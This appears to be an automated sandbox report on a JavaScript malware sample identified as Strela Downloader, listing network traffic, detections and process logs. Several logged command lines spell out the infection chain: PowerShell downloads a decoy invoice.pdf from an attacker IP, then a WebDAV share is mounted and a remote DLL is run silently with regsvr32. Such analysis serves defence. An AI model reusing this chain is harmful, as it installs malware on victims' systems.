6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49703

Source: global traffic

TCP traffic: 192.168.2.7:49703 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49702 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1264980506.000002246A64F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1326063993.000001B6722E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.2058888/
Source: net.exe, 0000000C.00000003.1321199511.000001B67230D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1326063993.000001B6722E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/X
Source: net.exe, 0000000C.00000002.1326063993.000001B6722E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/paceM
Source: svchost.exe, 0000000E.00000002.2549703324.0000024FB3400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1311831559.0000024FB31C0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7044, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 22931850270221075.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2140:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iuptrqol.tr2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22931850270221075.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1720,i,11788301143701952153,5326730289212110203,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1720,i,11788301143701952153,5326730289212110203,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
